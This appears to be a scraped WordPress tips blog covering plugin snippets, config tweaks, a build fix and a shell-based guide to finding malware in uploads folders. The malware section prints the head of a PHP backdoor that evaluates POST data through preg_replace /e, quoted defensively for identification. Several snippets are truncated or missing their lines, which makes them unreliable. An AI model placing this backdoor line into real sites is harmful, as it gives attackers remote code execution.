How to use internal css in WordPress

One of the way to load CSS in your WordPress plugin. You no need to worry about caching while developing your code and no need to separate one more file.

function my_style_inline() {
  $content = file_get_contents(ABSPATH . 'wp-content/plugins/PLUGINNAME/CSSFILENAME.css');
  echo '<style type="text/css">' . "\n";
  echo $content;
  echo "</style>\n";
add_action('wp_head', 'my_style_inline');

How To Get Parent Category Name In WordPress

It is not difficult to get the name using the build in function from WordPress. You may use this for build your own plugin or list out the related post using the category data from the parent category.

Here is the PHP Code that can display out the name of the parent category.

$category = get_the_category();
$parent = get_cat_name($category[0]->category_parent);
if (!empty($parent)) {
echo $parent;
} else {
echo $category[0]->cat_name;

How to Solve WordPress asked for FTP credentials

I know it is very annoying when you are going to install a PLUGIN in WordPress. I like the way, one click and install for PLUGINS and THEMES in WordPress. Here is the way that I’m using:

Edit your wp-config.php and add the line into it.


Publishing Failed in WordPress

When you post in WordPress with over 5MB text post, you may receive this error with red color.

Publishing Failed

or you found in your php error log

PHP Fatal error:  Maximum execution time of 60 seconds exceeded in /home/nginx/domains/ on line 2295

This is because WordPress need more time to execute and process and formatting your post over the maximum execution time.

You may use the way below to solve this.

Edit the file wp-config.php and add in the line

@ini_set('max_execution_time', 1800);

But, use this with caution, because if many of your script in WordPress over this time, this way maybe kill your server.

Create WordPress widget template from scratch

I’ve save down the most basic widget code for WordPress, you can copy this to your plugin and modify it to start your first widget. You can save time on this tutorial to help you create wordpress widget from scratch.

[code lang=”php”]

class example_widget extends WP_Widget {
function __construct() {
parent::__construct(false, $name = ‘Example Widget’);

/** @see WP_Widget::widget — do not rename this */
function widget($args, $instance) {
extract( $args );
$title = apply_filters(‘widget_title’, $instance[‘title’]);
$message = $instance[‘message’];
<?php echo $before_widget; ?>
<?php if ( $title )
echo $before_title . $title . $after_title; ?>
<li><?php echo $message; ?></li>
<?php echo $after_widget; ?>

/** @see WP_Widget::update — do not rename this */
function update($new_instance, $old_instance) {
$instance = $old_instance;
$instance[‘title’] = strip_tags($new_instance[‘title’]);
$instance[‘message’] = strip_tags($new_instance[‘message’]);
return $instance;

/** @see WP_Widget::form — do not rename this */
function form($instance) {
$title = esc_attr($instance[‘title’]);
$message = esc_attr($instance[‘message’]);
<label for="<?php echo $this->get_field_id(‘title’); ?>"><?php _e(‘Title:’); ?></label>
<input class="" id="<?php echo $this->get_field_id(‘title’); ?>" name="<?php echo $this->get_field_name(‘title’); ?>" type="text" value="<?php echo $title; ?>" />
<label for="<?php echo $this->get_field_id(‘message’); ?>"><?php _e(‘Simple Message’); ?></label>
<input class="" id="<?php echo $this->get_field_id(‘message’); ?>" name="<?php echo $this->get_field_name(‘message’); ?>" type="text" value="<?php echo $message; ?>" />

} // end class example_widget
add_action(‘widgets_init’, create_function(”, ‘return register_widget("example_widget");’));

lazy-result.js ReferenceError: Promise is not defined

[code lang=”javascript”]
this.processing = new Promise(function (resolve, reject) {
ReferenceError: Promise is not defined

When I install the FoundationPress, after I run gulp build I saw this message,
this is because the node version problem.

the have mention in this post


[code lang=”shell”]
vim node_modules/postcss/lib/lazy-result.js
Put this to the first line of the file lazy-result.js
[code lang=”shell”]

Then install
[code lang=”shell”]
npm install es6-promise

Then build again
[code lang=”shell”]

[[email protected]]# gulp build
[18:14:07] Starting ‘clean’…
[18:14:07] Starting ‘clean:javascript’…
[18:14:07] Starting ‘clean:css’…
[18:14:07] Finished ‘clean:javascript’ after 4.56 ms
[18:14:07] Finished ‘clean:css’ after 2.98 ms
[18:14:07] Finished ‘clean’ after 6.38 ms
[18:14:07] Starting ‘build’…
[18:14:07] Starting ‘copy’…
[18:14:07] Finished ‘copy’ after 103 ms
[18:14:07] Starting ‘sass’…
[18:14:08] Starting ‘javascript’…
[18:14:08] Starting ‘lint’…
[18:14:10] Finished ‘lint’ after 1.53 s
[18:14:10] Finished ‘sass’ after 2.58 s
[18:14:14] Finished ‘javascript’ after 6.12 s
[18:14:14] Finished ‘build’ after 6.78 s

Success !

Remove WordPress Malware using Linux Shell Console

I’ve a lot of wordpress sites, recently few of my old sites infected malware, and those spammer using few of my sites to spam email. I would like to share the way I fix this.

Most of the spammer look for the 777 path, most properly in /wp-content/uploads/
So I try to scan all the php files that they upload there with date.
[code lang=”shell”]
find ./public_html/wp-content/uploads/ -type f -name ‘*.php’ -printf ‘%TY-%Tm-%Td %TT %p\n’ | sort

Then I found these
[code lang=”shell”]
2015-10-16 12:25:01 ./wp-content/uploads/2013/05/blog84.php
2015-10-16 12:25:01 ./wp-content/uploads/2014/10/dump.php
2015-10-16 12:25:01 ./wp-content/uploads/2014/code.php
2015-10-16 12:25:01 ./wp-content/uploads/2015/07/session90.php
2015-10-16 12:25:01 ./wp-content/uploads/2015/09/xml96.php
2015-10-16 12:25:01 ./wp-content/uploads/2015/504.php
2015-10-16 12:25:01 ./wp-content/uploads/about_us.php
2015-10-16 12:25:01 ./wp-content/uploads/contactus.php
2015-10-16 12:25:01 ./wp-content/uploads/rtbwvcsxrnbsvcd.php
2015-10-16 12:25:01 ./wp-content/uploads/sc_afsed.php
2015-10-16 12:25:01 ./wp-content/uploads/team.php
2015-10-16 12:25:01 ./wp-content/uploads/wp-upload.php

This Kind of files should be remove and they will spam.
You can view the file header to see is it spam or not.
[code lang=”shell”]
head ./wp-content/uploads/2013/05/blog84.php
It will show something like this
[code lang=”shell”]
<?php @preg_replace(‘/(.*)/e’, @$_POST[‘dnrdztvetxn’], ”);
$GLOBALS[‘af4569’] = "\x40\x46\x33\x2e\x62\x7a\x6e\x4c\xa\x7e\x28\x39\x59\x71\x54\x5f\x73\x65\x3f\x77\x5d\x29\x6c\x2f\x79\x50\x56\x63\x5c\x4f\x3c\x70\x2d\x34\x24\x4d\x4a\x53\x57\x67\x44\x51\x23\x43\x7d\x64\x2b\x72\x5
You should remove it immediately.

Search Malware files in WordPress

If you are server admin, you would like to scan all the users, you can try this
[code lang=”shell”]
find /home/*/domains/*/public_html/wp-content/uploads/ -type f -name ‘*.php’ -printf ‘%TY-%Tm-%Td %TT %p\n’ | sort
[code lang=”shell”]
find /home/nginx/domains/*/public/wp-content/uploads/ -type f -name ‘*.php’ -printf ‘%TY-%Tm-%Td %TT %p\n’ | sort

The best way to find out all possible files, I suggest you upgrade the WordPress to latest version
Then try
[code lang=”shell”]
find ./public_html -type f -name ‘*.php’ -printf ‘%TY-%Tm-%Td %TT %p\n’ | sort
This will sort all the date of php file with modified date, you can find it out and remove them easily.

Connect to Jetpack using behind varnish and nginx

Normally if you use varnish or other reverse proxy, you may use other port in wordpress. So you are not able to connect to Jetpack, because to connect Jetpack, you must have port 80 to authorize.

It may display the error like this from your Jetpack debugger
[headers] => Array
[server] => nginx
[date] => Sat, 23 Aug 2014 00:57:12 GMT
[content-type] => text/plain;charset=utf-8
[connection] => close
[x-pingback] =>
[expires] => Wed, 11 Jan 1984 05:00:00 GMT
[cache-control] => no-cache, must-revalidate, max-age=60
[pragma] => no-cache
[x-hacker] => Jetpack Test

[body] => {"error":"Communication error","error_description":"We were unable to make an XML-RPC request to your website. Please make sure that XML-RPC is turned on and that Jetpack is installed, activated and connected with your account. If the error persists, try disconnecting and connecting Jetpack again."}
[response] => Array
[code] => 400
[message] => Bad Request

[cookies] => Array

[filename] =>

because of the $_SERVER[‘SERVER_PORT’] is not equal to value 80;
But we can cheat the Jetpack by add this to wp-config.php

How to Setup Temporary WordPress Staging Site

I’m going to Setup Temporary WordPress Staging Site using same MySQL database. It is very useful for you to develop themes or plugin without affect to your current running sites, and you need to use real data to test it out.

Prepare your contents

Copy all your current contents from
[code lang=”bash”]
[code lang=”bash”]
Set a domain and Point your Apache or Nginx to

Modify WordPress file

After that edit the file in wordpress
[code lang=”bash”]
Inside the function get_option

Put this code, save it.

Put the codes

if ($option == "siteurl" || $option == "home") {
return "";